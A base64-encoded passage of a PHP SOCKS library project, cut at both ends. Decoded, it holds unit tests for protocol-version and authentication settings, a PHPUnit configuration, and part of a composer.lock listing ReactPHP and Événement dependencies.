V0UHJvdG9jb2xWZXJzaW9uKDQpOwogICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldFByb3RvY29sVmVyc2lvbignNGEnKTsKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNSk7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0UHJvdG9jb2xWZXJzaW9uKG51bGwpOwogICAgfQoKICAgIC8qKgogICAgICogQGV4cGVjdGVkRXhjZXB0aW9uIEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFNldEludmFsaWRQcm90b2NvbFZlcnNpb24oKQogICAgewogICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldFByb3RvY29sVmVyc2lvbig2KTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdGVzdFNldEF1dGhBcnJheSgpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0QXV0aEFycmF5KGFycmF5KCkpOwoKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRBdXRoQXJyYXkoYXJyYXkoCiAgICAgICAgICAgICduYW1lMScgPT4gJ3Bhc3N3b3JkMScsCiAgICAgICAgICAgICduYW1lMicgPT4gJ3Bhc3N3b3JkMicKICAgICAgICApKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBleHBlY3RlZEV4Y2VwdGlvbiBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RTZXRBdXRoSW52YWxpZCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0QXV0aCh0cnVlKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBleHBlY3RlZEV4Y2VwdGlvbiBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RVbmFibGVUb1NldEF1dGhJZlByb3RvY29sRG9lc05vdFN1cHBvcnRBdXRoKCkKICAgIHsKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNCk7CgogICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldEF1dGhBcnJheShhcnJheSgpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBleHBlY3RlZEV4Y2VwdGlvbiBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RVbmFibGVUb1NldFByb3RvY29sV2hpY2hEb2VzTm90U3VwcG9ydEF1dGgoKQogICAgewogICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldEF1dGhBcnJheShhcnJheSgpKTsKCiAgICAgICAgLy8gdGhpcyBpcyBva2F5CiAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0UHJvdG9jb2xWZXJzaW9uKDUpOwoKICAgICAgICAkdGhpcy0+c2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlc3RVbnNldEF1dGgoKQogICAgewogICAgICAgICR0aGlzLT5zZXJ2ZXItPnVuc2V0QXV0aCgpOwogICAgICAgICR0aGlzLT5zZXJ2ZXItPnVuc2V0QXV0aCgpOwogICAgfQp9Cjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+Cgo8cGhwdW5pdCBjb2xvcnM9InRydWUiIGJvb3RzdHJhcD0iLi90ZXN0cy9ib290c3RyYXAucGhwIj4KICAgIDx0ZXN0c3VpdGVzPgogICAgICAgIDx0ZXN0c3VpdGUgbmFtZT0iU29ja3MgVGVzdCBTdWl0ZSI+CiAgICAgICAgICAgIDxkaXJlY3Rvcnk+Li90ZXN0cy88L2RpcmVjdG9yeT4KICAgICAgICA8L3Rlc3RzdWl0ZT4KICAgIDwvdGVzdHN1aXRlcz4KICAgIDxmaWx0ZXI+CiAgICAgICAgPHdoaXRlbGlzdD4KICAgICAgICAgICAgPGRpcmVjdG9yeT4uL3NyYy88L2RpcmVjdG9yeT4KICAgICAgICA8L3doaXRlbGlzdD4KICAgIDwvZmlsdGVyPgo8L3BocHVuaXQ+CnsKICAgICJfcmVhZG1lIjogWwogICAgICAgICJUaGlzIGZpbGUgbG9ja3MgdGhlIGRlcGVuZGVuY2llcyBvZiB5b3VyIHByb2plY3QgdG8gYSBrbm93biBzdGF0ZSIsCiAgICAgICAgIlJlYWQgbW9yZSBhYm91dCBpdCBhdCBodHRwOi8vZ2V0Y29tcG9zZXIub3JnL2RvYy8wMS1iYXNpYy11c2FnZS5tZCNjb21wb3Nlci1sb2NrLXRoZS1sb2NrLWZpbGUiLAogICAgICAgICJUaGlzIGZpbGUgaXMgQGdlbmVyYXRlZCBhdXRvbWF0aWNhbGx5IgogICAgXSwKICAgICJoYXNoIjogIjEwZjVhZDFhNjFkY2M0OTVjZTc5YjhjNTg5NWZmMjM2IiwKICAgICJwYWNrYWdlcyI6IFsKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogImV2ZW5lbWVudC9ldmVuZW1lbnQiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MS4wLjAiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2lnb3J3L2V2ZW5lbWVudC5naXQiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJmYTk2NjY4M2U3ZGYzZTVkZDU5MjlkOTg0YTQ0YWJmYmQ2YmFmZThkIgogICAgICAgICAgICB9LAogICAgICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvaWdvcncvZXZlbmVtZW50L3ppcGJhbGwvZmE5NjY2ODNlN2RmM2U1ZGQ1OTI5ZDk4NGE0NGFiZmJkNmJhZmU4ZCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogImZhOTY2NjgzZTdkZjNlNWRkNTkyOWQ5ODRhNDRhYmZiZDZiYWZlOGQiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4wIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgICAgICJFdmVuZW1lbnQiOiAic3JjIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImF1dGhvcnMiOiBbCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiSWdvciBXaWVkbGVyIiwKICAgICAgICAgICAgICAgICAgICAiZW1haWwiOiAiaWdvckB3aWVkbGVyLmNoIiwKICAgICAgICAgICAgICAgICAgICAiaG9tZXBhZ2UiOiAiaHR0cDovL3dpZWRsZXIuY2gvaWdvci8iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICLDiXbDqW5lbWVudCBpcyBhIHZlcnkgc2ltcGxlIGV2ZW50IGRpc3BhdGNoaW5nIGxpYnJhcnkgZm9yIFBIUCA1LjMiLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiZXZlbnQtZGlzcGF0Y2hlciIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInRpbWUiOiAiMjAxMi0wNS0zMCAxNTowMTowOCIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicmVhY3QvY2FjaGUiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjIiLAogICAgICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9DYWNoZSIsCiAgICAgICAgICAgICJzb3VyY2UiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJnaXQiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvY2FjaGUuZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiNDM3MzU3MTAyZWZmYjU2MmI0NGRiYzBhYzRlYjJjMjA5YzRmNTcyYiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL2NhY2hlL3ppcGJhbGwvNDM3MzU3MTAyZWZmYjU2MmI0NGRiYzBhYzRlYjJjMjA5YzRmNTcyYiIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjQzNzM1NzEwMmVmZmI1NjJiNDRkYmMwYWM0ZWIyYzIwOWM0ZjU3MmIiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4yIiwKICAgICAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICAgICAiYnJhbmNoLWFsaWFzIjogewogICAgICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgICAgICAgICAiUmVhY3RcXENhY2hlIjogIiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgICAgICJNSVQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBjYWNoaW5nLiIsCiAgICAgICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgICAgICJjYWNoZSIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInRpbWUiOiAiMjAxMy0wNC0yNCAwODozMzo0MyIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicmVhY3QvZG5zIiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjAuMy4yIiwKICAgICAgICAgICAgInRhcmdldC1kaXIiOiAiUmVhY3QvRG5zIiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9kbnMuZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiNTE4ZTEyZTEyZjBhODZlNjNiYTQ4MmViZDcyODQwODM5MWNjODgzZiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL2Rucy96aXBiYWxsLzUxOGUxMmUxMmYwYTg2ZTYzYmE0ODJlYmQ3Mjg0MDgzOTFjYzg4M2YiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICI1MThlMTJlMTJmMGE4NmU2M2JhNDgyZWJkNzI4NDA4MzkxY2M4ODNmIiwKICAgICAgICAgICAgICAgICJzaGFzdW0iOiAiIgogICAgICAgICAgICB9LAogICAgICAgICAgICAicmVxdWlyZSI6IHsKICAgICAgICAgICAgICAgICJwaHAiOiAiPj01LjMuMiIsCiAgICAgICAgICAgICAgICAicmVhY3QvY2FjaGUiOiAiMC4zLioiLAogICAgICAgICAgICAgICAgInJlYWN0L3Byb21pc2UiOiAifjEuMCIsCiAgICAgICAgICAgICAgICAicmVhY3Qvc29ja2V0IjogIjAuMy4qIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxEbnMiOiAiIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkFzeW5jIEROUyByZXNvbHZlci4iLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiZG5zIiwKICAgICAgICAgICAgICAgICJkbnMtcmVzb2x2ZXIiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTMtMDQtMjcgMDg6NTc6MzAiCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogInJlYWN0L2V2ZW50LWxvb3AiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjQiLAogICAgICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9FdmVudExvb3AiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL2V2ZW50LWxvb3AuZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiMjM1Y2RkZmE5OTlhMzkyZTdkNjNkYzliZWYyZTA0MjQ5MjYwOGQ5ZiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL2V2ZW50LWxvb3AvemlwYmFsbC8yMzVjZGRmYTk5OWEzOTJlN2Q2M2RjOWJlZjJlMDQyNDkyNjA4ZDlmIiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiMjM1Y2RkZmE5OTlhMzkyZTdkNjNkYzliZWYyZTA0MjQ5MjYwOGQ5ZiIsCiAgICAgICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICAgICAicGhwIjogIj49NS4zLjMiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJzdWdnZXN0IjogewogICAgICAgICAgICAgICAgImV4dC1saWJldiI6ICIqIiwKICAgICAgICAgICAgICAgICJleHQtbGliZXZlbnQiOiAiPj0wLjAuNSIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInR5cGUiOiAibGlicmFyeSIsCiAgICAgICAgICAgICJleHRyYSI6IHsKICAgICAgICAgICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgImF1dG9sb2FkIjogewogICAgICAgICAgICAgICAgInBzci0wIjogewogICAgICAgICAgICAgICAgICAgICJSZWFjdFxcRXZlbnRMb29wIjogIiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIm5vdGlmaWNhdGlvbi11cmwiOiAiaHR0cHM6Ly9wYWNrYWdpc3Qub3JnL2Rvd25sb2Fkcy8iLAogICAgICAgICAgICAibGljZW5zZSI6IFsKICAgICAgICAgICAgICAgICJNSVQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJFdmVudCBsb29wIGFic3RyYWN0aW9uIGxheWVyIHRoYXQgbGlicmFyaWVzIGNhbiB1c2UgZm9yIGV2ZW50ZWQgSS9PLiIsCiAgICAgICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgICAgICJldmVudC1sb29wIgogICAgICAgICAgICBdLAogICAgICAgICAgICAidGltZSI6ICIyMDEzLTA3LTIxIDAyOjIzOjA5IgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJyZWFjdC9wcm9taXNlIiwKICAgICAgICAgICAgInZlcnNpb24iOiAidjEuMC40IiwKICAgICAgICAgICAgInNvdXJjZSI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogImdpdCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9wcm9taXNlLmdpdCIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogImQ2ZGU4Y2FlMWRiYjQ4NzhkOTA5YzQxY2I4OWFmZjc2NDUwNDQ3MmMiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJkaXN0IjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiemlwIiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9yZWFjdHBocC9wcm9taXNlL3ppcGJhbGwvZDZkZThjYWUxZGJiNDg3OGQ5MDljNDFjYjg5YWZmNzY0NTA0NDcyYyIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogImQ2ZGU4Y2FlMWRiYjQ4NzhkOTA5YzQxY2I4OWFmZjc2NDUwNDQ3MmMiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4zIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIxLjAtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxQcm9taXNlIjogInNyYy8iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICAgICAiTUlUIgogICAgICAgICAgICBdLAogICAgICAgICAgICAiYXV0aG9ycyI6IFsKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAibmFtZSI6ICJKYW4gU29yZ2FsbGEiLAogICAgICAgICAgICAgICAgICAgICJlbWFpbCI6ICJqc29yZ2FsbGFAZ29vZ2xlbWFpbC5jb20iLAogICAgICAgICAgICAgICAgICAgICJob21lcGFnZSI6ICJodHRwOi8vc29yZ2FsbGEuY29tIiwKICAgICAgICAgICAgICAgICAgICAicm9sZSI6ICJtYWludGFpbmVyIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiQSBsaWdodHdlaWdodCBpbXBsZW1lbnRhdGlvbiBvZiBDb21tb25KUyBQcm9taXNlcy9BIGZvciBQSFAiLAogICAgICAgICAgICAidGltZSI6ICIyMDEzLTA0LTAzIDE0OjA1OjU1IgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJyZWFjdC9zb2NrZXQiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjQiLAogICAgICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9Tb2NrZXQiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3NvY2tldC5naXQiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICIxOWJjMGM0MzA5MjQzNzE3Mzk2MDIyZmZiMmU1OWJlMWNjNzg0MzI3IgogICAgICAgICAgICB9LAogICAgICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcmVhY3RwaHAvc29ja2V0L3ppcGJhbGwvMTliYzBjNDMwOTI0MzcxNzM5NjAyMmZmYjJlNTliZTFjYzc4NDMyNyIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogIjE5YmMwYzQzMDkyNDM3MTczOTYwMjJmZmIyZTU5YmUxY2M3ODQzMjciLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgImV2ZW5lbWVudC9ldmVuZW1lbnQiOiAiMS4wLioiLAogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4zIiwKICAgICAgICAgICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAgICAgICAgICJyZWFjdC9zdHJlYW0iOiAiMC4zLioiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICAgICAiYnJhbmNoLWFsaWFzIjogewogICAgICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgICAgICAgICAiUmVhY3RcXFNvY2tldCI6ICIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICAgICAiTUlUIgogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiTGlicmFyeSBmb3IgYnVpbGRpbmcgYW4gZXZlbnRlZCBzb2NrZXQgc2VydmVyLiIsCiAgICAgICAgICAgICJrZXl3b3JkcyI6IFsKICAgICAgICAgICAgICAgICJTb2NrZXQiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJ0aW1lIjogIjIwMTQtMDItMTcgMjI6MzI6MDAiCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJuYW1lIjogInJlYWN0L3NvY2tldC1jbGllbnQiLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjEiLAogICAgICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9Tb2NrZXRDbGllbnQiLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3NvY2tldC1jbGllbnQuZ2l0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiODc5MzVhMDIyMzM2MmMzNmNkMzBjZjIxNWNiZWMzMzM3N2QzMWNhNCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImRpc3QiOiB7CiAgICAgICAgICAgICAgICAidHlwZSI6ICJ6aXAiLAogICAgICAgICAgICAgICAgInVybCI6ICJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3JlYWN0cGhwL3NvY2tldC1jbGllbnQvemlwYmFsbC84NzkzNWEwMjIzMzYyYzM2Y2QzMGNmMjE1Y2JlYzMzMzc3ZDMxY2E0IiwKICAgICAgICAgICAgICAgICJyZWZlcmVuY2UiOiAiODc5MzVhMDIyMzM2MmMzNmNkMzBjZjIxNWNiZWMzMzM3N2QzMWNhNCIsCiAgICAgICAgICAgICAgICAic2hhc3VtIjogIiIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJlcXVpcmUiOiB7CiAgICAgICAgICAgICAgICAicGhwIjogIj49NS4zLjMiLAogICAgICAgICAgICAgICAgInJlYWN0L2RucyI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIgogICAgICAgICAgICB9LAogICAgICAgICAgICAidHlwZSI6ICJsaWJyYXJ5IiwKICAgICAgICAgICAgImV4dHJhIjogewogICAgICAgICAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgICAgICAgICAiZGV2LW1hc3RlciI6ICIwLjMtZGV2IgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgICAgICAgICAicHNyLTAiOiB7CiAgICAgICAgICAgICAgICAgICAgIlJlYWN0XFxTb2NrZXRDbGllbnQiOiAiIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAibm90aWZpY2F0aW9uLXVybCI6ICJodHRwczovL3BhY2thZ2lzdC5vcmcvZG93bmxvYWRzLyIsCiAgICAgICAgICAgICJsaWNlbnNlIjogWwogICAgICAgICAgICAgICAgIk1JVCIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkFzeW5jIGNvbm5lY3RvciB0byBvcGVuIFRDUC9JUCBhbmQgU1NML1RMUyBiYXNlZCBjb25uZWN0aW9ucy4iLAogICAgICAgICAgICAia2V5d29yZHMiOiBbCiAgICAgICAgICAgICAgICAiU29ja2V0IgogICAgICAgICAgICBdLAogICAgICAgICAgICAidGltZSI6ICIyMDEzLTA0LTIwIDE0OjU1OjU5IgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJyZWFjdC9zdHJlYW0iLAogICAgICAgICAgICAidmVyc2lvbiI6ICJ2MC4zLjQiLAogICAgICAgICAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9TdHJlYW0iLAogICAgICAgICAgICAic291cmNlIjogewogICAgICAgICAgICAgICAgInR5cGUiOiAiZ2l0IiwKICAgICAgICAgICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3N0cmVhbS5naXQiLAogICAgICAgICAgICAgICAgInJlZmVyZW5jZSI6ICJmZWVmNTY2MjhhZmUzZmE4NjFmMGRhNWY5MmM5MDllMDI5ZWZjZWFjIgogICAgICAgICAgICB9LAogICAgICAgICAgICAiZGlzdCI6IHsKICAgICAgICAgICAgICAgICJ0eXBlIjogInppcCIsCiAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcmVhY3RwaHAvc3RyZWFtL3ppcGJhbGwvZmVlZjU2NjI4YWZlM2ZhODYxZjBkYTVmOTJjOTA5ZTAyOWVmY2VhYyIsCiAgICAgICAgICAgICAgICAicmVmZXJlbmNlIjogImZlZWY1NjYyOGFmZTNmYTg2MWYwZGE1ZjkyYzkwOWUwMjllZmNlYWMiLAogICAgICAgICAgICAgICAgInNoYXN1bSI6ICIiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJyZXF1aXJlIjogewogICAgICAgICAgICAgICAgImV2ZW5lbWVudC9ldmVuZW1lbnQiOiAiMS4wLioiLAogICAgICAgICAgICAgICAgInBocCI6ICI+PTUuMy4zIgogICAgICAgICAgICB9LAogICAgI